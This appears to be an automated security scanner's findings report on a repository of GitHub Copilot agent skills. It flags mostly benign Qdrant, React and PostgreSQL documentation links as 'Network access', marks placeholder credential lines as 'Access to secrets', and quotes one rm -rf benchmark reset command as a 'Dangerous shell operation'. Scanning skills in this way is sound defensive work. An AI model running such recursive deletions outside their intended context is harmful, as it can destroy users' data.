- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 94
- [Qdrant monitoring documentation](https://qdrant.tech/documentation/operations/monitoring/)
harness/github-copilot/skills/qdrant-monitoring/debugging/SKILL.md
- Network accessline 15
- Use `/collections/{collection_name}/optimizations` endpoint (v1.17+) to check status [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 16
- Query with optional detail flags: `?with=queued,completed,idle_segments` - Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task - Network accessline 17
- Returns: queued optimizations count, active optimizer type, involved segments, progress tracking - Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/opti - Network accessline 18
- Web UI has an Optimizations tab with timeline view and per-task duration metrics [Web UI](https://qdrant.tech/documentation/operations/optimizer/?s=web-ui) - Network accessline 27
- Process memory metrics available via `/metrics` (RSS, allocated bytes, page faults) - Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available R - Network accessline 28
- Qdrant uses two types of RAM: resident memory (data structures, quantized vectors) and OS page cache (cached disk reads). Page cache filling available RAM is normal. [Memory article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 29
- If resident memory (RSSAnon) exceeds 80% of total RAM, investigate - Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vect - Network accessline 30
- Check `/telemetry` for per-collection breakdown of point counts and vector configurations - Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdra - Network accessline 31
- Estimate expected memory: `num_vectors * dimensions * 4 bytes * 1.5` for vectors, plus payload and index overhead [Capacity planning](https://qdrant.tech/documentation/operations/capacity-planning/) - Network accessline 42
- Check optimizer status first. Active optimizations compete for CPU and I/O, degrading search latency. - Check segment count via collection info. Too many unmerged segments after bulk upload causes slower search. - Compare filtered vs unfi - Network accessline 44
- Compare filtered vs unfiltered query times. Large gap means missing payload index. [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index)
harness/github-copilot/skills/qdrant-monitoring/setup/SKILL.md
- Network accessline 15
- Node metrics at `/metrics` endpoint [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/) - Network accessline 16
- Cluster metrics at `/sys_metrics` (Qdrant Cloud only) - Prefix customization via `service.metrics_prefix` config or `QDRANT__SERVICE__METRICS_PREFIX` env var - Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring rep - Network accessline 18
- Example self-hosted setup with Prometheus + Grafana [prometheus-monitoring repo](https://github.com/qdrant/prometheus-monitoring) - Network accessline 27
- Hybrid Cloud Prometheus setup tutorial [Hybrid Cloud Prometheus](https://qdrant.tech/documentation/tutorials-and-examples/hybrid-cloud-prometheus/) - Network accessline 28
- Official Grafana dashboards [Grafana dashboard repo](https://github.com/qdrant/qdrant-cloud-grafana-dashboard) - Network accessline 35
- Use `/healthz`, `/livez`, `/readyz` for basic status, liveness, and readiness [Kubernetes health endpoints](https://qdrant.tech/documentation/operations/monitoring/?s=kubernetes-health-endpoints) - Network accessline 42
- Hybrid Cloud provides ~11 pre-configured Prometheus alerts out of the box [Cloud cluster monitoring](https://qdrant.tech/documentation/cloud/cluster-monitoring/) - Network accessline 51
- Enable JSON log format for structured analysis: set `logger.format` to `json` in config [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 53
- Audit logs (v1.17+) write to local filesystem (`/qdrant/storage/audit/`), not stdout. Mount a Persistent Volume and deploy a sidecar container to tail these files to stdout so DaemonSets can pick them up. [Audit logging](https://qdrant.te
harness/github-copilot/skills/qdrant-performance-optimization/indexing-performance-optimization/SKILL.md
- Network accessline 10
- Understand the indexing optimizer [Indexing optimizer](https://qdrant.tech/documentation/operations/optimizer/?s=indexing-optimizer) - Network accessline 20
- Use batch upserts (64-256 points per request) [Points API](https://qdrant.tech/documentation/manage-data/points/?s=upload-points) - Network accessline 25
- Create more shards (3-12), each shard has an independent update worker [Sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=sharding) - Network accessline 26
- Create payload indexes before HNSW builds (needed for filterable vector index) [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 30
- Disable HNSW during bulk load (set `indexing_threshold_kb` very high, restore after) [Collection params](https://qdrant.tech/documentation/manage-data/collections/?s=update-collection-parameters) - Network accessline 35
See https://qdrant.tech/documentation/tutorials-develop/bulk-upload/ - Network accessline 42
- Check actual progress via optimizations endpoint (v1.17+) [Optimization monitoring](https://qdrant.tech/documentation/operations/optimizer/?s=optimization-monitoring) - Network accessline 52
- Reduce `m` (default 16, good for most cases, 32+ rarely needed) [HNSW params](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 53
- Reduce `ef_construct` (100-200 sufficient) [HNSW config](https://qdrant.tech/documentation/manage-data/collections/?s=indexing-vectors-in-hnsw) - Network accessline 54
- Keep `max_indexing_threads` proportional to CPU cores [Configuration](https://qdrant.tech/documentation/operations/configuration/) - Network accessline 55
- Use GPU for indexing [GPU indexing](https://qdrant.tech/documentation/operations/running-with-gpu/) - Network accessline 62
See [Multi-tenant collections](https://qdrant.tech/documentation/manage-data/multitenancy/) for details. - Network accessline 71
Read more about disabling extra HNSW links in [documentation](https://qdrant.tech/documentation/manage-data/indexing/?s=disable-the-creation-of-extra-edges-for-payload-fields) - Network accessline 73
Read more about ACORN in [documentation](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm)
harness/github-copilot/skills/qdrant-performance-optimization/memory-usage-optimization/SKILL.md
- Network accessline 18
- Qdrant exposes memory usage through the `/metrics` endpoint. See [Monitoring docs](https://qdrant.tech/documentation/operations/monitoring/). - Network accessline 27
- For regular search scenarios, general guidelines are provided in the [Capacity planning docs](https://qdrant.tech/documentation/operations/capacity-planning/). - Network accessline 29
For a detailed breakdown of memory usage at large scale, see [Large scale memory usage example](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=memory-usage). - Network accessline 42
- Deployments with low latency disks - local NVMe or similar. - Multi-tenant deployments, where only a subset of tenants is frequently accessed, so that only a fraction of data & index is loaded in RAM at a time. - For deployments with [inl - Network accessline 44
- For deployments with [inline storage](https://qdrant.tech/documentation/operations/optimize/?s=inline-storage-in-hnsw-index) enabled. - Network accessline 52
- Use quantization to store only compressed vectors in RAM [Quantization docs](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 54
- Use float16 or int8 datatypes to reduce memory usage of vectors by 2x or 4x respectively, with some tradeoff in precision. Read more about vector datatypes in [documentation](https://qdrant.tech/documentation/manage-data/vectors/?s=dataty - Network accessline 56
- Leverage Matryoshka Representation Learning (MRL) to store only small vectors in RAM while keeping large vectors on disk. Examples of how to use MRL with Qdrant Cloud inference: [MRL docs](https://qdrant.tech/documentation/inference/?s=re - Network accessline 58
- For multi-tenant deployments with small tenants, vectors might be stored on disk because the same tenant's data is stored together [Multitenancy docs](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) - Network accessline 60
- For deployments with fast local storage and relatively low requirements for search throughput, it may be possible to store all components of vector store on disk. Read more about the performance implications of on-disk storage in [the art - Network accessline 62
- For low RAM environments, consider `async_scorer` config, which enables support of `io_uring` for parallel disk access, which can significantly improve performance of on-disk storage. Read more about `async_scorer` in [the article](https: - Network accessline 64
- Consider storing Sparse Vectors and text payload on disk, as they are usually more disk-friendly than dense vectors. - Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk - Network accessline 65
- Configure payload indexes to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index) - Network accessline 66
- Configure sparse vectors to be stored on disk [docs](https://qdrant.tech/documentation/manage-data/indexing/?s=sparse-vector-index)
harness/github-copilot/skills/qdrant-performance-optimization/search-speed-optimization/SKILL.md
- Network accessline 28
- Tune HNSW parameters: [Fine-tuning search](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 29
- Enable in-memory quantization: [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 30
- Reduce Vector Dimensionality with Matryoshka Models: [Matryoshka Models](https://qdrant.tech/documentation/inference/?s=reduce-vector-dimensionality-with-matryoshka-models) - Network accessline 31
- Use oversampling + rescore for high-dimensional vectors [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 32
- Enable io_uring for disk-heavy workloads on Linux [io_uring](https://qdrant.tech/articles/io_uring/) - Network accessline 39
- Reduce segment count (`default_segment_number` to 2) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 40
- Use batch search API instead of single queries [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 41
- Enable quantization to reduce CPU cost [Scalar quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=scalar-quantization) - Network accessline 42
- Add replicas to distribute read load [Replication](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 49
- Create payload index on the filtered field [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 50
- Use `is_tenant=true` for primary filtering condition: [Tenant index](https://qdrant.tech/documentation/manage-data/indexing/?s=tenant-index) - Network accessline 51
- Try ACORN algorithm for complex filters: [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 68
Learn more [here](https://qdrant.tech/documentation/search/low-latency-search/?s=query-indexed-data-only)
harness/github-copilot/skills/qdrant-scaling/minimize-latency/SKILL.md
- Network accessline 14
- Increase segment count to match CPU cores (`default_segment_number: 16`) [Minimizing latency](https://qdrant.tech/documentation/operations/optimize/?s=minimizing-latency) - Network accessline 15
- Keep quantized vectors and HNSW in RAM (`always_ram=true`) - Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Use local NVMe, - Network accessline 16
- Reduce `hnsw_ef` at query time (trade recall for speed) [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 23
- Vertical scale RAM first. Critical if working set >80%. - Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 24
- Use quantization: scalar (4x reduction) or binary (16x reduction) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 25
- Move payload indexes to disk if filtering is infrequent [On-disk payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=on-disk-payload-index)
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling/SKILL.md
- Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding) - Network accessline 34
- Available in Qdrant Cloud [Resharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=resharding)
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/sliding-time-window/SKILL.md
- Network accessline 15
Use when: data has natural time boundaries (daily, weekly, monthly). Preferred because queries span all time periods in one request without application-level fan-out. [User-defined sharding](https://qdrant.tech/documentation/operations/dist - Network accessline 31
Use when: you need per-period collection configuration (e.g., different quantization or storage settings). [Collection aliases](https://qdrant.tech/documentation/manage-data/collections/?s=collection-aliases) - Network accessline 33
1. Create one collection per time period, point a write alias at the newest 2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switc - Network accessline 34
2. Query across all active collections in parallel, merge results client-side 3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=s - Network accessline 35
3. When a new period starts, create the new collection and swap the write alias [Switch collection](https://qdrant.tech/documentation/manage-data/collections/?s=switch-collection) - Network accessline 45
1. Store a `timestamp` payload on every point, create a payload index on it [Payload index](https://qdrant.tech/documentation/manage-data/indexing/?s=payload-index) - Network accessline 46
2. Filter to the desired window at query time using `range` condition [Range filter](https://qdrant.tech/documentation/search/filtering/?s=range) - Network accessline 47
3. Periodically delete expired points using delete-by-filter [Delete points](https://qdrant.tech/documentation/manage-data/points/?s=delete-points) - Network accessline 58
- **Shard rotation:** place current shard key on fast-storage nodes, move older shard keys to cheaper nodes via shard placement. All queries still go through a single collection. - **Collection rotation:** keep current collection in RAM (`a - Network accessline 59
- **Collection rotation:** keep current collection in RAM (`always_ram: true`), move older collections to mmap/on-disk vectors. [Quantization](https://qdrant.tech/documentation/manage-data/quantization/)
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/tenant-scaling/SKILL.md
- Network accessline 10
- Understand multitenancy patterns [Multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/) - Network accessline 18
Read about [Partition by payload](https://qdrant.tech/documentation/manage-data/multitenancy/?s=partition-by-payload) and [Calibrate performance](https://qdrant.tech/documentation/manage-data/multitenancy/?s=calibrate-performance) for best - Network accessline 23
At this scale, the cluster may consist of several peers. To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants - Network accessline 24
To localize tenant data and improve performance, use [custom sharding](https://qdrant.tech/documentation/operations/distributed_deployment/?s=user-defined-sharding) to assign tenants to specific shards based on tenant ID hash. - Network accessline 29
If some tenants are much larger than others, use [tiered multitenancy](https://qdrant.tech/documentation/manage-data/multitenancy/?s=tiered-multitenancy) to promote large tenants to dedicated shards while keeping small tenants on shared sha
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/vertical-scaling/SKILL.md
- Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 10
- Vertical scaling for Qdrant Cloud is done through the [Qdrant Cloud Console](https://cloud.qdrant.io/) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 28
- Log into [Qdrant Cloud Console](https://cloud.qdrant.io/) or use [CLI tool](https://github.com/qdrant/qcloud-cli) - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 41
- Exact estimation of RAM usage is difficult; use this simple approximate formula: `num_vectors * dimensions * 4 bytes * 1.5` for full-precision vectors in RAM - With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Q - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 42
- With scalar quantization: divide by 4 (INT8 reduces each float32 to 1 byte) [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization) - Network accessline 43
- With binary quantization: divide by 32 [Binary quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=binary-quantization)
harness/github-copilot/skills/qdrant-scaling/scaling-qps/SKILL.md
- Network accessline 16
- Use fewer, larger segments (`default_segment_number: 2`) [Maximizing throughput](https://qdrant.tech/documentation/operations/optimize/?s=maximizing-throughput) - Network accessline 17
- Enable quantization with `always_ram=true` to reduce disk IO [Quantization](https://qdrant.tech/documentation/manage-data/quantization/) - Network accessline 18
- Use batch search API to amortize overhead [Batch search](https://qdrant.tech/documentation/search/search/?s=batch-search-api) - Network accessline 22
- Configure update throughput control (v1.17+) to prevent unoptimized searches degrading reads [Low latency search](https://qdrant.tech/documentation/search/low-latency-search/) - Network accessline 24
- Configure delayed read fan-out (v1.17+) for tail latency [Delayed fan-outs](https://qdrant.tech/documentation/search/low-latency-search/?s=use-delayed-fan-outs) - Network accessline 32
- Shard replicas serve queries from replicated shards, distributing read load across nodes - Each replica adds independent query capacity without re-sharding - Use `replication_factor: 2+` and route reads to replicas [Distributed deployment - Network accessline 34
- Use `replication_factor: 2+` and route reads to replicas [Distributed deployment](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication) - Network accessline 44
- Upgrade to provisioned IOPS or local NVMe first. See impact of disk performance to vector search in [Disk performance article](https://qdrant.tech/articles/memory-consumption/) - Network accessline 45
- Use `io_uring` on Linux (kernel 5.11+) [io_uring article](https://qdrant.tech/articles/io_uring/) - Network accessline 46
- In case of quantized vectors, prefer global rescoring over per-segment rescoring to reduce disk reads. Example in the [tutorial](https://qdrant.tech/documentation/tutorials-operations/large-scale-search/?s=search-query) - Network accessline 47
- Configure higher number of search threads to parallelize disk reads. Default is `cpu_count - 1`, which is optimal for RAM-based search but may be too low for disk-based search. See [configuration reference](https://qdrant.tech/documentati
harness/github-copilot/skills/qdrant-search-quality/SKILL.md
- Network accessline 33
Start by testing with exact search to isolate the problem. Preserve and consult the Qdrant Search API documentation at https://qdrant.tech/documentation/search/search/?s=search-api. - Network accessline 100
- [Qdrant Search API](https://qdrant.tech/documentation/search/search/?s=search-api)
harness/github-copilot/skills/qdrant-search-quality/diagnosis/SKILL.md
- Network accessline 14
- Test with `exact=true` to bypass HNSW approximation [Search API](https://qdrant.tech/documentation/tutorials-search-engineering/retrieval-quality/?s=standard-mode-vs-exact-search) - Network accessline 16
- Check if quantization degrades quality (compare with and without) - Check if filters are too restrictive (then you might need to use ACORN) - If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https:// - Network accessline 18
- If duplicate results from chunked documents, use Grouping API to deduplicate [Grouping](https://qdrant.tech/documentation/search/search/?s=grouping-api) - Network accessline 26
- Increase `hnsw_ef` at query time [Search params](https://qdrant.tech/documentation/operations/optimize/?s=fine-tuning-search-parameters) - Network accessline 27
- Increase `ef_construct` (200+ for high quality) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 28
- Increase `m` (16 default, 32 for high recall) [HNSW config](https://qdrant.tech/documentation/manage-data/indexing/?s=vector-index) - Network accessline 29
- Enable oversampling + rescore with quantization [Search with quantization](https://qdrant.tech/documentation/manage-data/quantization/?s=searching-with-quantization) - Network accessline 30
- ACORN for filtered queries (v1.16+) [ACORN](https://qdrant.tech/documentation/search/search/?s=acorn-search-algorithm) - Network accessline 32
Binary quantization requires rescore. Without it, quality loss is severe. Use oversampling (3-5x minimum for binary) to recover recall. Always test quantization impact on your data before production. [Quantization](https://qdrant.tech/docum - Network accessline 38
Test top 3 MTEB models on 100-1000 sample queries, measure recall@10. Domain-specific models often outperform general models. [Hosted inference](https://qdrant.tech/documentation/inference/)
harness/github-copilot/skills/qdrant-search-quality/search-strategies/SKILL.md
- Network accessline 15
- Dense + sparse with `prefetch` and fusion [Hybrid search](https://qdrant.tech/documentation/search/hybrid-queries/?s=hybrid-search) - Network accessline 16
- Prefer learned sparse ([miniCOIL](https://qdrant.tech/documentation/fastembed/fastembed-minicoil/), SPLADE, GTE) over raw BM25 if applicable (when user needs smart keywords matching and learned sparse models know the vocabulary of the dom - Network accessline 17
- For non-English languages, [configure sparse BM25 parameters accordingly](https://qdrant.tech/documentation/search/text-search/?s=language-specific-settings) - Network accessline 18
- RRF: good default, supports weighted (v1.17+) [RRF](https://qdrant.tech/documentation/search/hybrid-queries/?s=reciprocal-rank-fusion-rrf) - Network accessline 19
- DBSF with asymmetric limits (sparse_limit=250, dense_limit=100) can outperform RRF for technical docs [DBSF](https://qdrant.tech/documentation/search/hybrid-queries/?s=distribution-based-score-fusion-dbsf) - Network accessline 26
- Cross-encoder rerankers via FastEmbed [Rerankers](https://qdrant.tech/documentation/fastembed/fastembed-rerankers/) - Network accessline 27
- See how to use [Multistage queries](https://qdrant.tech/documentation/search/hybrid-queries/?s=multi-stage-queries) in Qdrant - Network accessline 28
- ColBERT and ColPali/ColQwen reranking is especially precise due to late interaction mechanisms, but it is heavy. It is important to configure and store multivectors without building HNSW for them to save resources. See [Multivector repres - Network accessline 40
- RF Query is currently based on a [3-parameter naive formula](https://qdrant.tech/documentation/search/search-relevance/?s=naive-strategy) with no universal defaults, so it must be tuned per dataset, retriever, and feedback model - Network accessline 41
- Use [qdrant-relevance-feedback](https://pypi.org/project/qdrant-relevance-feedback/) to tune parameters, evaluate impact with Evaluator, and check retriever-feedback agreement. See README for setup instructions. No GPUs are needed, and th - Network accessline 42
- Check the configuration of the [Relevance Feedback Query API](https://qdrant.tech/documentation/search/search-relevance/?s=relevance-feedback) - Network accessline 43
- Use this as a helper end-to-end text retrieval example with parameter tuning and evals to understand how to use the API and run the `qdrant-relevance-feedback` framework: [RF tutorial](https://qdrant.tech/documentation/tutorials-search-en - Network accessline 49
- Use MMR (v1.15+) as a query parameter with `diversity` to balance relevance and diversity [MMR](https://qdrant.tech/documentation/search/search-relevance/?s=maximal-marginal-relevance-mmr) - Network accessline 57
- Recommendation API: positive/negative examples to recommend fitting vectors [Recommendation API](https://qdrant.tech/documentation/search/explore/?s=recommendation-api) - Network accessline 58
- Best score strategy: better for diverse examples, supports negative-only [Best score](https://qdrant.tech/documentation/search/explore/?s=best-score-strategy) - Network accessline 59
- Discovery API: context pairs (positive/negative) to constrain search regions without a request target [Discovery](https://qdrant.tech/documentation/search/explore/?s=discovery-api) - Network accessline 64
Check how to set up in [Score Boosting docs](https://qdrant.tech/documentation/search/search-relevance/?s=score-boosting)
harness/github-copilot/skills/qdrant-version-upgrade/SKILL.md
- Network accessline 31
A Qdrant cluster with a replication factor of 2 or higher can be upgraded without downtime by performing a rolling upgrade: upgrade one node at a time while the other nodes continue to serve requests. Preserve the replication factor referen - Network accessline 46
3. Upgrade the SDK to the next target minor first; keep feature usage within the old server's supported subset until server upgrade completes. 4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait fo - Network accessline 47
4. For self-managed replicated clusters, perform a rolling upgrade one node at a time and wait for health before continuing. 5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. 6. - Network accessline 48
5. For Qdrant Cloud, use the managed upgrade flow or the `qcloud` CLI from https://github.com/qdrant/qcloud-cli. - Network accessline 87
- [Qdrant replication factor documentation](https://qdrant.tech/documentation/operations/distributed_deployment/?s=replication-factor) - Network accessline 88
- [qcloud CLI](https://github.com/qdrant/qcloud-cli)
harness/github-copilot/skills/quality-playbook/LICENSE.txt
harness/github-copilot/skills/quality-playbook/SKILL.md
- Network accessline 11
metadata: author: "Andrew Stellman" github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 12
author: "Andrew Stellman" github: "https://github.com/andrewstellman/quality-playbook" version: "1.5.6" - Network accessline 13
github: "https://github.com/andrewstellman/quality-playbook" - Network accessline 55
> Quality Playbook v1.5.6 — by Andrew Stellman > https://github.com/andrewstellman/quality-playbook - Network accessline 56
> https://github.com/andrewstellman/quality-playbook - Network accessline 255
- https://github.com/andrewstellman/quality-playbook
harness/github-copilot/skills/quality-playbook/agents/calibration_orchestrator.md
- Dangerous shell operationline 99
3. Reset the benchmark's `quality/` to a known-empty state: `cp -r repos/archive/<bench>/quality/previous_runs/<latest>/ /tmp/save-<bench>/ && rm -rf repos/archive/<bench>/quality/* && cp -r /tmp/save-<bench>/quality/* repos/archive/<bench>
harness/github-copilot/skills/quality-playbook/agents/quality-playbook-claude.agent.md
- Network accessline 58
**If not found**, tell the user to install it from https://github.com/andrewstellman/quality-playbook and stop.
harness/github-copilot/skills/quality-playbook/agents/quality-playbook.agent.md
- Network accessline 54
> The quality playbook skill isn't installed in this repository yet. Install it from the [quality-playbook repository](https://github.com/andrewstellman/quality-playbook):
harness/github-copilot/skills/quality-playbook/quality_gate.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/quality-playbook/references/extended-guide.md
harness/github-copilot/skills/quality-playbook/references/review_protocols.md
- Access to secretsline 425
[Credential-related source omitted]
harness/github-copilot/skills/react18-lifecycle-patterns/references/componentWillMount.md
- Network accessline 57
componentWillMount() { this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 58
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 59
fetch(`/api/users/${this.props.userId}`) - Network accessline 77
// All side effects move here - runs after first render this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) - Network accessline 78
this.subscription = this.props.eventBus.subscribe(this.handleEvent); fetch(`/api/users/${this.props.userId}`) .then(r => r.json()) - Network accessline 79
fetch(`/api/users/${this.props.userId}`) - Network accessline 136
componentWillMount() { this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B - Network accessline 137
this.setState({ loading: true, items: [] }); // Case A fetch('/api/items').then(r => r.json()) // Case B .then(items => this.setState({ items, loading: false })); - Network accessline 138
fetch('/api/items').then(r => r.json()) // Case B - Network accessline 151
componentDidMount() { fetch('/api/items').then(r => r.json()) // Case B → componentDidMount - Network accessline 152
fetch('/api/items').then(r => r.json()) // Case B → componentDidMount
harness/github-copilot/skills/react19-concurrent-patterns/references/react19-suspense.md
- Network accessline 88
// Raw promise (not recommended in production): function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 89
function DataComponent() { const data = use(fetch('/api/data').then(r => r.json())); return <pre>{JSON.stringify(data, null, 2)}</pre>; - Network accessline 90
const data = use(fetch('/api/data').then(r => r.json())); - Network accessline 111
// Only create promise once per id: const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), - Network accessline 112
const dataPromise = useMemo(() => fetch(`/api/data/${id}`).then(r => r.json()), [id] - Network accessline 113
fetch(`/api/data/${id}`).then(r => r.json()),
harness/github-copilot/skills/resemble-detect/LICENSE
harness/github-copilot/skills/resemble-detect/SKILL.md
- Network accessline 5
license: Apache-2.0 metadata: compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. - Network accessline 6
metadata: compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. --- - Network accessline 7
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 25
- Base docs URL: <https://docs.resemble.ai/welcome>. - Access to secretsline 26
[Credential-related source omitted] - Network accessline 71
{ "url": "https://example.com/suspect.mp4", - Network accessline 72
"url": "https://example.com/suspect.mp4", - Access to secretsline 148
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Network accessline 204
- [Resemble AI dashboard](https://app.resemble.ai) - Network accessline 205
- [Resemble documentation](https://docs.resemble.ai/welcome)
harness/github-copilot/skills/resemble-detect/references/api-reference.md
- Network accessline 7
- **Base URL**: `https://docs.resemble.ai/welcome` - Access to secretsline 8
[Credential-related source omitted] - Network accessline 19
{ "url": "https://example.com/media.mp4", - Network accessline 20
"url": "https://example.com/media.mp4", - Network accessline 55
"consistency": "0.91", "aggregated_score": "0.92", "image": "https://{example-url}" - Network accessline 56
"aggregated_score": "0.92", "image": "https://{example-url}" } - Network accessline 57
"image": "https://{example-url}" - Network accessline 70
"label": "fake", "score": 0.87, "image": "https://{example-url}", - Network accessline 71
"score": 0.87, "image": "https://{example-url}", "ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 72
"image": "https://{example-url}", - Network accessline 73
"ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 105
{ "url": "https://example.com/audio.mp3", "json": true } - Network accessline 175
{ "url": "https://example.com/image.png", - Network accessline 176
"url": "https://example.com/image.png", - Network accessline 195
{ "url": "https://example.com/suspect-image.png" } - Network accessline 217
{ "audio_url": "https://example.com/known-speaker.wav", - Network accessline 218
"audio_url": "https://example.com/known-speaker.wav", - Network accessline 226
{ "audio_url": "https://example.com/unknown-speaker.wav", - Network accessline 227
"audio_url": "https://example.com/unknown-speaker.wav",
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md
- Network accessline 182
- Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html) - Network accessline 183
- PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md
- Network accessline 144
- [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html) - Network accessline 145
- PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md
- Network accessline 171
- [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html) - Network accessline 172
- [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm) - Network accessline 173
- [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md
- Network accessline 257
- [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html) - Network accessline 258
